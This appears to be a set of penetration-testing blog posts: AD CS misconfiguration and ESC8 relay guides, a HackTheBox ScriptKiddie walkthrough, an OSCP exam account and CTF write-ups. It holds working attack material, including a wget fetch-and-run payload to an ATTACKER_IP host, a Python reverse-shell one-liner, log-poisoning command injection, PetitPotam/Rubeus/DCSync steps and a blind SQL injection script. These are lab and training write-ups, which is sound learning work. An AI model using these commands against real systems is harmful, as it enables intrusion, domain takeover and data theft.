I had issues getting PSPKI to run, as it often threw “Exception from HRESULT: 0x80131515” errors. To solve this, refer to StackOverflow! It turns out that the DLL is being blocked by Defender. If we navigate to the PSPKIAudit folder, we can run the following command to unblock all the files.

Get-ChildItem *.* -Recurse | Unblock-File

Whilst testing this, I found the code from this site was handy for checking which DLLs we have successfully imported into our PowerShell session. The code for checking this is as follows:

[System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object Location | Sort-Object -Property FullName | Select-Object -Property FullName, Location, GlobalAssemblyCache, IsFullyTrusted | Out-GridView

For instance, a normal PS session has these assemblies imported:

Following importing PSPKI, we see the DLLs are loaded!

ESC8 – NTLM Relay & HTTP Enrollment

This exploit is really well documented, and tools such as BatS3c’s ADCSPwn have automated this process even further. In particular, I relied on the guide from ExAndroidDev when performing this attack. This relies on a branch of Impacket which adds support for attacking AD CS. To install this, run:

git clone --single-branch --branch ntlmrelayx-adcs-attack

Due to my lab setup, there were issues getting PetitPotam and the NTLM relaying working to the AD CS HTTP Endpoint. This is due to DC’s requiring message signing for all requests, which breaks the attack from what I can tell.

To bypass this, I have created another AD CS server (CAServer) and demoted my old one (DC01) used in ESC1-7. This is a standalone AD CS server, leaving DC01 to perform DC duties.

Details of the new CAServer (

Using PetitPotam we can elicit an NTLM hash from a target, then use Responder to take that NTLM hash and attempt to gain a cert. I used the following commands to do this:

python3 -u 'WADE_PARKS' -p 'Password1!' -d

sudo -t -smb2support --adcs

On my environment, this would trigger an NTLM relay (Showing PetitPotam is working), but I could not obtain a certificate.

Thanks to a tweet by Fragsh3ll, it looks like we might have to manually specify the ‘Domain Controller’ certificate. We can do this with the --template 'Domain Controller' argument in impacket. As shown below, this will return a certificate.

We can then import this base64 encoded certificate onto our low privilege user’s account. This certificate can then be used with Rubeus, using the /certificate: parameter.

Rubeus.exe asktgt /user:DC01$ /certificate:MIIRbQIBAzCCETcGCSqGSIb3....##BASE64 ENCODED CERTIFICATE##.. /ptt

This then returns a TGT for the krbtgt account!

We can then combine this with a DCSync attack to obtain the hash of the Administrator account. This can be performed from a medium integrity session.

Active Directory AD CS

AD CS – What Can Be Misconfigured?


The aim of this post is to go into more detail on the attacks described within the excellent ‘Certified Pre-Owned’ blog post & whitepaper produced by SpecterOps. This post will show how to configure a test environment which is vulnerable to the attacks they describe. If you are unfamiliar with AD CS, I have a separate post which covers the basics.

In summary, the attacks which are possible within a default installation of AD CS are terrifying. The now ubiquitousESC8‘ attack can lead to DC compromise from a low-priv user, and the other attacks are impressive in their own right. To learn more about how to perform the attacks, I have another post covering that.

What Can Be Vulnerable In AD CS?

This section will cover some of the misconfigurations covered within the whitepaper, showing how we can create a vulnerable AD CS environment. The ‘VULN’ numbers used below are something I used whilst researching into these attacks and made the configuration a little easier for myself.

In summary, the vulnerabilities can be shown in the table below:

 ESC1 (p.56)ESC2 (p.63)ESC3.1 (p.64)ESC3.2 (p.64)ESC4 (p.68)ESC5 (p.70)ESC6 (p.71)ESC7 (p.74)
VULN1 – Enterprise CA ACE✔️✔️✔️✔️✔️(*)
VULN2 – Template ACE✔️✔️✔️✔️ ✔️(1)
VULN3 – Manager Approval Disabled✔️✔️✔️✔️
VULN4 – No signature required✔️✔️✔️
VULN5 – Vulnerable EKU OID✔️✔️(2)✔️(3)✔️
VULN6 – SAN in CSR✔️
VULN7 – EDITF_* attribute✔️(*)
1 – Requires write permissions, 2 – Requires either ‘Any Purpose’ or no OID, 3 – Requires ‘Certificate Request Agent’ OID, * – Not relevant if ESC6 or ESC7 is possible

For example, to perform ESC6, we need VULN7 to be present in the estate. Likewise, if VULN4 is present on a given certificate, then ESC1, 2 or 3 could be possible should the other conditions be met.

One key point for this table, is that if ESC6 or ESC7 is possible, then ESC1-4 can be performed against any principal!

VULN1 – “The Enterprise CA Grants Low-Priv Users Enrollment Rights”

The Enterprise CA must be configured to allow our target user to request a certificate. This setting can be found via certsrv by right clicking on the CA object, then Properties then Security. A vulnerable server will have an ACE containing the target user (Such as Domain Users) allowing that user to request certificates. (Figure 8, Page 23)

By default, the Authenticated Users group is able to request certificates

This setting is enabled by default, as we can see above. This allows any authenticated user to request certificates from the AD CS server. In order to obtain a certificate, we will also need a certificate template to be (mis)configured to allow us to enroll on it. This is covered in VULN2 below.

These ACEs are also involved in VULN7, where we have the ‘Manage CA‘ or ‘Issue and Manage Certificates‘ ACE enabled for our user.

VULN2 – “An Overly Permissive Certificate Template Security Descriptor Grants Certificate Enrollment Rights To Low-Privileged Users.”

Despite the mouthful of a title, this is another ACE misconfiguration, which allows our standard user account to enroll on a certificate template. As we can see below, the default User template allows the Domain Users group to enroll on it.

The standard User certificate template

There are several permissions which can be abused here, for example the Enroll and AutoEnroll permissions are specific to certificate template objects.

We also have the more ‘traditional’ permissions such as Full Control and Write, which should be familiar from BloodHound. Either of these permissions would allow us as an attacker to edit the template, granting our user the Enroll or AutoEnroll permissions to enroll on it.

The Enroll and AutoEnroll permissions

VULN3 – “Manager Approval Is Disabled”

Following the same steps as VULN2, we can view details on the certificate templates. On the ‘Issuance Requirements‘ tab, we can see the authorisations required before a certificate is issued. If CA Certificate manager approval is not required, then we can request a cert and it will be automatically created for us.(Assuming we meet the other criteria such as those in VULN1 and VULN2.)

This is understandably quite risky, as there is no peer reviewing of these certificates, so an Administrator would not be aware of their issuance.

A template which does not require CA Certificate Manager approval

VULN4 – No Authorized Signatures Are Required

In a very similar method to VULN3, we can check if any authorized signatures are required. This is another pre-requisite which can make the process of issuing certificates better protected.

VULN5 – “The Certificate Template Defines EKUs That Enable Authentication.”

Using the method detailed in VULN3, we then go to the ‘Extensions‘ tab to view the EKUs which are set on the template.

The EKU OIDs which have been found to allow client authentication are on Page 19 of the whitepaper:

EKU UsageOID Value
Client Authentication1.
PKINIT Client Authentication1.
Smart Card Logon1.
Any Purpose2.
“SubCA”No EKUs

We can view this by selecting the ‘Application Policies‘ extension. By clicking on ‘Edit’ and then ‘Edit’ we can view the EKU value. As we can see below, the ‘Client Authentication‘ OID is included in the template below.

Example plaintext EKU OIDs for an example template

We can also view this using PowerView with the following query:

Get-DomainObject -SearchBase "CN=<TEMPLATE_NAME>,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=forest,DC=com" | Select-Object -ExpandProperty PKIExtendedKeyUsage
Getting the OIDs for a template with PowerView

VULN6 – The Certificate Template Allows Requesters To Specify A SubjectAltName (SAN) in the CSR

As a reminder here, a CSR is the request we send to an AD CS server to obtain a certificate. A SAN is an option we can set to obtain a certificate to authenticate as another user.

This misconfiguration allows for an attacker to request a certificate for any(!) target user for a given, vulnerable certificate template. Typically certificates can only be requested for the requestor, so this misconfiguration is very powerful.

With this setting enabled, we can request a certificate as any valid user on the domain. There is more detail on this on page 58.

This value is set via the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag, which is a bitmask. We can find its value on the MSPKI-Certificate-Name-Flag value on the template. This can be requested with the following PowerView query:

Get-DomainObject -SearchBase "CN=<TEMPLATE_NAME>,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=forest,DC=com"

Or we can view it in the GUI if we have access to the AD CS server by going on the Properties of the certificate template, then onto the Subject Name tab.

A vulnerable certificate template


According to Microsoft:

If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

This is a slightly different request as the SAN must be passed as an attribute, instead of a certificate extension, as with VULN6. This is still a very easy attack, even with this small change. Page 70 of the whitepaper contains more information on this.


Now we have looked at the misconfigurations, this post will show more detail on how we can attack a vulnerable environment.

Active Directory AD CS

AD CS – The Basics


This post will cover the basics of Active Directory Certificate Services (AD CS) and how we can use certificates for offensive security. I have two other posts on this subject. The first of which covers some of the dangerous misconfigurations. And secondly, how we can actually perform the attacks.

For those unfamiliar, AD CS is the server role used to issue and manage digital certificates within a server estate. This is a role which can have massive security implications if it is incorrectly configured. Certificates can be used for a large number of uses, from HTTPS through to authenticating to a domain.

All of the page references in this post refer to the white-paper produced by SpecterOps.


We will assume we already have Server 2019 installed and running as a domain controller. Dinika-15 on Medium has made a great guide to follow for the installation of AD CS.

For our purposes, we will add the ‘Active Directory Certification Services‘ role to the server. Optionally, will can install ‘CA Web Enrollment‘ to have some fun with NTLM relays as part of the ‘ESC8’ attack. This is shown below:

If we do want to perform the ESC8 attack, ensure that you install AD CS on a server that isnt operating as a domain controller, due to their enhanced SMB signing protection. I didnt realise this for a few days and so most of my screenshots will reference my DC (DC01)!

Click through the wizard until we get to the confirmation screen. By default, I allow it to restart as needed! It didn’t seem to need it, but I have seen other server roles require several restarts.

Now we have it installed!

I would then recommend a restart to ensure the server is more predicable.

Then run certutil.exe on the CS server to show AD CS details & confirm we have it installed.

Core Concepts


Certificates in AD can be used for many different functions, but this research focuses on those certificates which allow for domain authentication. In effect, a certificate which allows for authentication has a lot of similarities with an SSH private key – as you can authenticate without knowing the current password and the credentials are stored in a single file.

Certificate Template

A certificate template is effectively a blueprint for a certificate. Each certificate request must use a template, and so the settings of a template will dictate the resulting certificate. For example, a vulnerable template might allow any AD user to authenticate to AD with it. (Page 16)

Certificate Signing Request (CSR)

A CSR is the request made by a client to the AD CS server, in order to obtain a certificate. For example, Joe Bloggs will submit a CSR to the AD CS server in order to obtain a certificate.(Page 15)

Extended Key Usages (EKU) Object Identifiers (OIDs)

Despite the incredibly complex name (EKU OIDs), these are a reasonably straight-forward concept at a high level. These values dictate what a certificate template can be used for. These uses can be things such as authenticating to the domain to signing code.

As described on page 18, the OID can be used for Client Authentication. This means if we can obtain a certificate which includes that OID, we can use the certificate to authenticate to the domain. We will cover these more later on!

Subject Alternative Names (SANs)

On a certificate template, there is an option to allow the requester to specify which principal the certificate can be used as. For example, if the SAN option is set on a template, and the template allows for client authentication then you could leverage the certificate to log in as any user. This is as bad as it sounds, and is covered in more detail within ESC1 (Page 54).

Interacting with AD CS

There are a number of tools which can be used to interact with AD CS, the table below lists a number of them:

Tool NameDescriptionUsage
MMCMMC can be used to request, import and export certificates from a device. Run -> mmc
ADSI EditThis can show us the raw AD information on the certification services. This is handy for debugging issues and the various ACEs and ACLs we will encounter! On a DC, search for ADSI Edit
Certification AuthorityThis tool will show details on the Certificate Templates, issued certificates and failed requests.On the CS server, Run -> certsrv
Certificate Templates ConsoleShows more detail on Certificate Templates.Right click on Certificate Templates within certsrv
Certify Automates a large part of this work, used for interacting with AD CS via CLI.Download from GitHub
ForgeCert If you manage to steal a CA certificate, this will allow ‘Golden Certificate’ attacks. Covered under DPERSIST1.Download from GitHub

For ADSI Edit, we must use the ‘Configuration’ naming context. To do this, open ADSI edit and right click on the ‘ADSI Edit’ entry at the top of the navigation tree.

Then click on Connect To and select the ‘Configuration’ option in the dropdown.

Click on ok and we can view information on AD CS at CN=Services -> CN=Public Key Services. We should now be able to see the container for Certificate Templates and other configuration items.

Dealing With Certificates

Requesting a Certificate

For this guide, we will use MMC to request our certificates. At the time of writing, Certify and ForgeCert were yet to be released. Therefore, we will focus on using built-in Windows tooling to achieve these attacks, which has the added advantage of living off the land! certreq can be used to perform these attacks via the CLI if desired.

On your domain-joined low-privilege machine, open up mmc by searching for it in the search bar.

Click on File -> Add/Remove Snap-in, then select the ‘Certificates’ option and click ok. We will now have loaded in the Certificates snap-in, which we can use to request certificates. To request a certificate, right click on the Personal entry, then All Tasks and then Request New Certificate.

Click through the wizard and then we will select the default User template.

Then click on Enroll and we will get a certificate in our ‘personal’ folder.

This is effectively the ‘PERSIST1‘ attack within the whitepaper (Page 49).

Exporting a Certificate

We will often want to export a certificate in order to maintain persistance over an account or machine. For example, if we abuse ESC1 or ESC2, we can login as a user or machine without having valid credentials for the account – so long as we have a valid certificate.

To export a certificate, go to the Personal folder within mmc and right click on the certificate to export. Select Export, at the wizard we will export the private key as well.

Export the certificate
And we must include the private key in order to use it on other systems!

Because we are exporting the private key, we must password protect the exported certificate file. Oddly there are no password restrictions here, so we will use a password of ‘a‘.

Importing a Certificate

Importing a certificate is very straight-forward. Right click on the ‘Personal’ folder within MMC, we will then select ‘Import’.

Click through the wizard, on the file selector make sure you select ‘All Files’ as it will default to .cer and *.crt files. You will need to put in your password from when you exported it.


Hopefully this very brief introduction was of use! To put this knowledge into action, I have posts on both how to configure a vulnerable AD CS environment and how to perform the various AD CS attacks here. Below are some errors which I encountered, which didnt have very simple explanations on Google!

Common Errors

CRL Server is not reachable (CRYPT_E_REVOCATION_OFFLINE)

To get around this error, we can disable CRL checking by running the following on the DC:

certutil -setreg ca\CRLFlags +CRLF_REVCHECK_IGNORE_OFFLINE

This will commonly show the “The revocation function was unable to check revocation because the revocation server was offline” or CRYPT_E_REVOCATION_OFFLINE error


This error typically appears when you haven’t imported the Domain Controller Authentication certificate onto the Domain Controller. This process is covered in more detail by Citrix here.

In short, go onto your DC and open MMC. In MMC add the Certificates add-on for the computer account and request the Domain Controller Authentication certificate.


Thanks to a tweet from GentilKiwi, we can fix this by running the following on a Domain Controller.

certutil -pulse

I found I had to reinstall the Domain Controller Authentication certificate again, as shown in KRB-ERROR(16) above, but this will depend on your environment!

The requested certificate template is not supported by this CA

This error occurs when you attempt to request a certificate template which has not been enabled. A template can be enabled within certsrv by selecting ‘Certificate Template to Issue’. Select the certificate you want to issue and click OK.

Other KRB-ERROR codes

If you encounter other error codes, is a great resource to explain what they mean. Often the codes are fairly self-explanatory!


HackTheBox ScriptKiddie Walkthough

ScriptKiddie was an Easy rated Linux machine, which involved exploiting a vulnerability within MetaSploit, then gaining access to the pwn user and abusing a sudo misconfiguration.

Getting A Shell


Initial nMap scans showed a very simple box, with just SSH and port 5000 open. I personally find the -sV -A flags tend to reveal the most useful information when scanning. The scan shows that port 5000 is most likely a Python-based webserver.

Machine generated alternative text:
(kali@ kali) - 
$ nmap -sv -A 
Starting Nmap 7.91 ( ) at 2021-04-16 11:26 BST 
Nmap scan report for 
Host is up (0.043s latency). 
Not shown: 998 closed ports 
OpenSSH 8.2p1 Ubuntu 4ubuntuø.1 (Ubuntu Linux; 
open ssh 
1 2.0) 
3072 (RSA) 
256 (ECDSA) 
256 (ED25519) 
5000/tcp open http 
Werkzeug httpd 0.16.1 (python 3.8.5) 
http-server-header: Werkzeug/ø.16.1 python/3.8.5 
http-title: kld'5 h4ck3r tøø15 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 
Service detection performed. Please report any incorrect results at https://n 
Nmap done: 1 IP address (1 host up) scanned in 10.37 seconds
Scan results for the target

The site itself is an ‘script-kiddies’ website, allowing for nMap, SearchSploit and MetaSploit to be used from a web portal. Initially, I thought this might be an OS command injection vulnerability. Perhaps this could work by running an nMap scan along the lines of “ & whoami“. This didnt work though, showing there was likely something further to be exploited.

Machine generated alternative text:
scan top 100 ports on an ip 
ip: whoami 
My attempt at performing OS injection


Two things in the MetaSploit section caught my eye. First, you are able to include a template file – something I didn’t even know you could do in MetaSploit! Secondly, ‘Android’ was listed as a target, along with Windows and Linux. This seemed very odd, and led me to discover a CVE (CVE-2020-7384) relating to MetaSploit, template files and Android!

Luckily, there is exploit code for this within ExploitDB. This exploit will generate a malicious template, which will be executed on the target. To make my life easier, I decided to make this template retrieve a file from my HTTP server. This means I wont need to recompile the template for any small code tweaks – I can just update the file on my webserver. To do this, I changed the payload variable to be the following code:

payload = 'wget "http://ATTACKER_IP/payload" -O /tmp/payload && chmod +x /tmp/payload && ./tmp/payload'

This code will download a ‘payload‘ file from my HTTP server, make it executable and then execute it.

Now I could begin to create my payload. At this point I had several issues with Kali not finding the jarsigner binary. This is caused by using JRE (Java Runtime Environment) and not JDK (Java Development Kit). To fix this, run sudo apt install -y default-jdk to install JDK (Source).

Successfully compiling the malicious template file.

I then opted to use a basic Python3 reverse shell as our payload file. This then returned a shell from the host after specifying our IP in the LHOST field.

venom it up 
. gen rev tcp meterpreter bins 
I host: 
template file (optional): 
Setting LHOST and the template!
listening on [any] 8888 
connect to [] from 
/bin/sh: e: can't access ttv; 
job control turned off 
-rwxr-xr-x I kali kali 1830 Apr 
tsudol password for kali: 
serving HTTP on ø.ø.e.ø port se 
16 12. 
12 : 35. -" 
- [16/Apr/2e21 
- [16/Apr/2ø21 
.//e.ø.ø.ø:8ø/) . 
•GET 'payload HTTP/I.I• 2øø 
•GET 'payload HTTP/1 1 
•GET 'payload HTTP/I.I 
. • 200 
• 2øø
Shell returned from the server!

Privilege Escalation

At this point, we had access as the kid user, who unfortunately didn’t have the user flag in their directory! I moved LinuxSmartEnumeration onto the host and ran it initially on level 0, then on level 2 with specific flags.

Machine generated alternative text:
LSE Version: 
user ID: 
Home : 
Hostname : 
Distribution : 
./ -1 2 -p 0 -s 
If you know the current user password, write it here to check sudo privileges: 
-rw-r r 
/var/lib/gems/2.7. ø/bin : /usr/local/sbin : /usr/local/bin : /usr/sbin : /usr/bin : /sbin : /bin : /snap/bin 
5.4 .0-65-generic 
Ubuntu 20.04.1 LTS 
x86 64 
( users ) 
Are there other users in an administrative groups? 
• 4: syslog 
Other users with shell 
root: /root :/bin/bash 
: 1000 : kid : /home/kid : /bin/bash 
:: /home/pwn : /bin/bash 
( file system ) 
SSH files in home directories. 
1 kid kid 0 Apr 16 11:41 /home/kid/.ssh/authorized_keys 
Looking for GIT/SVN repositories. 
/opt/exploit-database/ . git 
/opt/exploitdb/ .git 
kidnscriptkiddie : /tmp$ 
Output of LSE, showing the pwn user.

I then moved to the kid users home directory, uploading my SSH key to gain a fully interactive shell as the kid user. Looking through the pwn users directory, the file stands out as being an area to target.

The file

In short, this file is reading in the hackers log file, then splitting it on any spaces using cut. Anything after the 2nd space (3rd item) is then put into the shell command on line 7, which is running an nMap scan. For instance, if we ran the following command it would poison the logs, then run whoami as the pwn user. Note that the semi-colon will end the nMap command and run whoami by itself.

echo "a a ; whoami" > /home/kid/logs/hackers && ./

We can then extend this to run a reverse shell, allowing us to gain code execution as the pwn user. I found the exploit code would often fail when combining the log poisoning and reverse shell, so I stored the shell in a separate file. To do this, I ran the following command to make a reverse shell file named ‘‘.

echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);[\"/bin/sh\",\"-i\"]);'" >

I then ran the following command to poison the logs.

echo "a a ; cd /home/kid/ && ./ ;"> logs/hackers

Then run the file and you finally get a user shell!

Getting root

The first thing when I get a Linux shell, is to run sudo -l, as it is often an easy priv-esc! In this case, we can run MSFConsole as sudo, as shown below.

p 9999 
listening on (any] 9999 . 
connect to [le.10.14.671 from (UNKNOWN) [1ø.129.131.144] 48124 
/bin/sh: o: can't access tty; job control turned off 
$ whoami 
$ python3 —c ' import Pty; 
pwnascriptkiddie:/home/kid$ sudo -1 
sudo -I 
Matching Defaults entries for pm on scriptkiddie: 
env_reset, mail_badpass, 
/usr/locat/bin\ : /usr/sbin\ /usr/bin\ /sbin\ : /bin\ : /snap/bin 
User pm may run the following cMnands on scriptkiddie: 
(root) NOPASSWD: /opt/metasp10it-framework-6.ø.9/msfcons01e 
pwnOscriptkiddie : / home/ kid$
Output of sudo -l for the pwn user.

Running MSFConsole as sudo allows us to run commands on the host as root. Ensure that you run the command exactly as shown in the screenshot above, don’t try to just run msfconsole as it might not work!

Getting the root flag

In the spirit of OSCP, we can get a root shell by uploading another Python3 reverse shell. We can then run that from within MSFConsole and get a root shell back.

msf6 > cd /home/kid 
cd /home/kid 
ms.f.$ bash 
bash script. sh 
[i] exec: bash 
kali@ kali 
nc -nvlp 
listening on [any] 7777 
connect to [ from (UNKNOWN) [le.129.131.144J 53892 
A root reverse shell!

ScriptKiddie Summary

Overall, I really enjoyed ScriptKiddie as it had a very different focus to most other HTB boxes. The inclusion of having to move to the pwn user was a nice challenge as well! I would say this is fairly similar to machines in OSCP or Proving Grounds, so would be good practise ahead of the exam!


My OSCP Exam Experience & Tips

Here is a write up of my OSCP exam experience – from studying through to passing the exam. Overall, it was a worthwhile experience and I would recommend it to anyone interested in infosec!


  • Practise!
  • IMO, the OSCP exam manual is too large and not worth the effort
  • Proving Grounds is far better than PWK Labs (And its much cheaper!)
  • You don’t need to know *everything* in Kali or Linux to complete the course/exam
  • ‘Try Harder’ is a good mentality, but it has its limits
  • There are some excellent resources out there, in particular:


I started my 3 month lab access at the end of 2020, to coincide with the start of another lockdown in the UK. When you first get access to the OSCP/PWK labs you have a short window (2-3 days) to download the various content you will need to study from. You get:

  • A set of videos walking you through the course
  • The OSCP exam manual (Only 853 pages long!)
  • VPN credentials to the lab machines

Early on, my plan was to complete the manual, and finish all of the exercises. I quickly realised this was pretty futile, as the exercises alone would likely take a month or longer to do. I felt that I could ‘learn’ at least 5 points from the machines in the time it would take to complete the manual! However, I did read through the entire 853-page manual. This was worthwhile, but in hindsight this didn’t teach me anything above what I learned from the lab machines.


Over the first 2.5 months I focused on the PWK labs, completing around 35 of the 55 machines. The machines were generally pretty well made, although most were unpatched – so dont rely on kernel exploits! I would consider them to be around easy/medium difficulty when compared to HackTheBox. The kicker for the OSCP exam is that there is such a wide array of potential exploits to be used! IMO, you should be able to spot basic misconfigurations and vulnerabilities not only in HTTP, but SMB, NFS, SQL, SSH and so on.

One major bug bear of mine is that several machines in PWK rely on data gathered from previous machines. For example, pivoting via RDP/SMB or reusing credentials. I personally found this incredibly frustrating as I couldn’t find a way of seeing if a machine relied on another. Generally, if only RDP is exposed then I found that to be a good indicator of it being reliant on another. I would recommend performing post-exploitation activities on any machine you compromise, as it can help sharpen your skills when trying to run Mimikatz or dump /etc/passwd if the shell you are reliant on isnt very stable!

A widely held view is that if you can complete the ‘Big 4’ in PWK, then you should be able to pass the exam. I would have to agree here, and one regret I have is looking at the forums before I had exhausted *every* avenue on the machines. If I were to do it again, I would treat these 4 as mock exam machines and not use any hints, even if it takes days.

After those 2.5 months, I decided to give Proving Grounds a trial. I had heard good things from the OSCP subreddit about Proving Grounds. This turned out to be the best decision I made during my studying. In hindsight, I should have spent my 2-3 months on Proving Grounds instead of PWK labs. For £14/month, you get access to around 40 machines of varying difficulty (These are rated as easy, intermediate or hard). I would say they very accurately reflect the points assigned in the OSCP exam (10 points = Easy, 20 points = intermediate, 25 points = hard).

These machines were really good, and were much more modern than the PWK labs, ruling out most kernel exploits. Overall, I would thoroughly recommend it, I feel PG has more relevant machines than PWK does.


I went for a 1pm start time, which I found to be just about perfect. It gives you a substantial amount of time on day 1 to complete the majority of the machines, and some time the next day to get any additional points if needed. I would definitely advise getting a normal nights sleep during the exam, so you are able to do the report! I would also ensure that you have some decent food in ahead of the exam.

At 12:45 I was able to log into the VPN and proctoring software. I would recommend getting an old-school webcam on a cable, rather than relying on the built in machine camera. This is because you have to show around the entire room, which can be hard when your laptop is docked! The proctors wanted all of my electronics out of the room. This included monitors which were not connected to a device – so clear your room down ahead of the exam. Additionally, you need to sign into the VPN via the openvpn CLI, rather than the new wizard which has been in recent versions of Kali. Clearing the room and downloading openvpn took a long time, and ended up using 30 minutes of my exam.

The first thing I did in the exam was the buffer overflow, this only took an hour after using Tib3rius TryHackMe room, and was a great way to settle my nerves and get 25 points sorted. Following this I started scanning all of the machines, just in case they took a long time! I then managed to get user on one of the 20 point machines, leaving me at 35 points.

Through the rest of the day I worked my way through the machines, getting up to 55 points by 7pm. At this point I fell down a major rabbit hole, trying to get an exploit to compile on the machine. I put way too much time into this, which nearly jeapordised my whole exam. This was a major lesson learned, and I should have moved onto another machine or exploit much sooner!

By 11pm, my brain was of no use, following a decent first day on the 5 machines. I spent a further hour and a half doing some very poor scanning of the machines. After this I decided (correctly!) that it was time for some sleep.

In the morning I started at 7am, and it took a while for my brain to get going again. I should have stuck to waking up at 9am as I usually do – another lesson learned!

Throughout my practise, I tried to avoid using MetaSploit for any machines, as I am personally not a fan of how point-and-click it is. That being said, I did end up using it on my final machine. I waited until I had around 1-1.5 hours left, which I felt was enough time to make full use of MetaSploit. This was a great decision, allowing me to root the 25-point machine with 30 minutes left.

Finally, I checked to ensure I had screenshots for all of my proofs, as the requirements are fairly strict! I then took a 2 hour break to clear my head, before I started the report.


In the end, the report took a huge amount of time to write up! Mine was around 50 pages in the end, and took about 7-8 hours! This was longer than I expected, but I wanted to ensure I didn’t lose any marks for a bad report. I didn’t use the OSCP example template as I wanted to use a different structure and a less Offensive Security themed document, this turned out to be fine in the end!

Something I had not noticed before, was that you need to include evidence of any artefacts of testing being removed. To avoid any tools or exploits remaining on the machine, I consciously only stored data within /tmp, so that I could easily clear up at the end of any machines.

I would recommend ensuring you have enough time for the report. You definitely don’t want to pull an all-nighter to complete it! Another benefit of the 1pm start time is that you can write a decent draft on day 2, and then review it on day 3, before the 1pm deadline.

Results & Summary

Results are supposed to take up to 10 days, but I heard back in a day – passing with 70 points! You can then order your certificate pack, which takes several weeks to arrive.

Overall, I learned a lot from OSCP, and I now understand why it is considered as entry level by some. You wont become an expert at pen-testing *everything*, but you will have a great basic level of knowledge. Think ‘jack of all trades, master of none’! One area I have a bug bear with, is the ‘Try Harder’ mantra. I would fully recommend ensuring you explore every avenue of attack for a machine, but ultimately, I found I learned most when I had a small hint for some machines. (This is something you can do on Proving Grounds, which is why I am a fan!) Just telling a learner to ‘Try Harder’ whenever they ask for help is a little pointless in my eyes.

Every machine in my exam was Linux based, and I should have spent longer on my Linux privilege escalation. I found this a little unusual, as most enterprises rely heavily on Windows. But this does match up with the distribution of machines on Proving Grounds and PWK.

CTF HTB Cyber Apocalypse CTF 2021

HTB Cyber Apocalypse – Emoji Voting Writeup

Emoji Voting was a 2-star rated ‘Web’ machine. The server was vulnerable to SQL injection, which allowed for the flag to be discovered. This was a fairly laborious process, as the SQL injection was after an ‘ORDER BY’ statement, which increased the complexity of exploiting it.

Pwning Emoji Voting

The website itself appears to be a simple voting system, with buttons to vote for various emoji’s. As with most of the HackTheBox machines, there was a file containing the files for the server. These files reveal that the flag is going to reside within a table beginning with ‘flag_

SQL statements to create the table to hold the flag file
SQL statements to create the table to hold the flag file

Reading the database.js file, it revealed 2 database functions which could be exploited, namely vote() and getEmojis(). After some initial testing, it was clear that the getEmojis function was the vulnerable endpoint.

The two database functions within database.js
The two database functions within database.js

Intercepting the traffic with Burp reveals that a request is made to the /api/list endpoint every 5 seconds (To update the current voting statistics). This endpoint then calls the getEmojis function, which takes the body of the request and uses it in the ORDER BY statement above.

Typically, exploiting a vulnerability like this would be fairly easy with a UNION command, or a sub-query. The following quote explains why this particular type of SQL injection is tricky to exploit:

Exploiting SQL injection in an ORDER BY clause is significantly different from most other cases. A database will not accept a UNION, WHERE, OR, or AND keyword at this point in the query. Exploitation requires the attacker to specify a nested query in place of the ORDER BY parameter.

Crafting an nested SQL statement

To exploit this, we can run a nested query after the ORDER BY clause. This allows us to compare one letter at a time, and slowly discover values within the database. This is exceptionally slow, but it is a viable method! Sending the following text to the /api/list endpoint: {"order":"(CASE WHEN 1==2 THEN id ELSE count END) DESC"}. This returned the emoji values ordered by the count value, showing we had successfully injected code into the SQL statement. The SQL engine had determined that 1==2 was false, and so it evaluated to count DESC, returning the data ordered by the count value descending.

Successfully injecting into the SQL statement
Successfully injecting into the SQL statement

Following a lot of troubleshooting, an SQL statement can be written to find the full name of the ‘flag table’. As the ‘flag table’ uses a randomised name, we need to query the sqlite_master table to determine its name. By using the process above, we know that a value is true if it returns data ordered by the id column, if it is false then it will be ordered by the count column. This query is as follows:

{"order":"(CASE WHEN (SELECT SUBSTR(name,1,1) FROM sqlite_master WHERE type ='table' AND name LIKE 'flag_%')=CHAR(1) THEN id ELSE count END) DESC"}

Using Python, we can rapidly query the API, and easily determine if we have found the correct letter for a given position. We do this by incrementing the value of the SUBSTR method and the CHAR value to cover the entire word. After doing this, we end up with the following script.

import requests,time

URL = ""

def make_request(position, value):
    request_data = {"order":f"(CASE WHEN (SELECT SUBSTR(name,{position},1) FROM sqlite_master WHERE type ='table' AND name LIKE 'flag%')=CHAR({value}) THEN id ELSE count END) DESC"}

    resp =, json=request_data)
    response_json_data = resp.json()

    if response_json_data[1]['id'] == 11:
        return True
        return False

for position in range(6,17):
    #For each position, try and determine the letter

    for hex_value in range(255):
        response = make_request(position, hex_value)

        if response:
            print(f"Char Position {position} = {hex_value} ({chr(hex_value)})")

Finding the flag table and Emoji Voting flag

After running this for a few minutes, we figure out the full name of the flag table, as being flag_e42009d78f, as shown below.

Discovering the name of the table containing the flag
Discovering the name of the table containing the flag

Now we know the name of the table, we can modify the request_data f-string value to query the flag column within the flag_e42009d78f table. This then changes to the following value:

request_data = {"order":f"(CASE WHEN (SELECT SUBSTR(flag,{position},1) FROM flag_e42009d78f)=CHAR({value}) THEN id ELSE count END) DESC"}

Running the Python script again, we figure out the final flag value is CHTB{order_me_this_juicy_info}. Overall, I really enjoyed playing through Emoji Voting. I felt I was quite good at SQL injection exploits, but this machine taught me a lot of new techniques! If you enjoyed this writeup, I have written up several other boxes at this link.

Discovering the full flag for Emoji Voting
Discovering the full flag for Emoji Voting
CTF HTB Cyber Apocalypse CTF 2021

HTB CTF 2021 – Input as a Service Writeup

Input as a Serivce (Iaas) 1-star rated challenge from the HackTheBox Cyber Apocalypse CTF. This challenge was from the ‘Misc’ section, in contrast to most of the others I attempted! This challenge revolved around a input function vulnerability in a Python web server, which could be exploited to achieve an RCE.

Some initial poking around the site made it clear this was likely to revolve around sending a crafted API or web request. To investigate this, I span up Burp Suite and starting proxying my traffic through Burp. A blank GET request to the server returned output which was recognisable as the output from a Python server, along with debug information.

Output from the web server

As we can see from the error on line 12, the server is using the input function, which has a known ‘vulnerability’ in it. This ‘vulnerability’ is that any value which is read by input will be evaluated by Python. To test this, I crafted a packet to try some simple string concatenation, to check if this was a viable path.

Our crafted request to test the vulnerability in the input function
Our crafted request to test the vulnerability in the input function

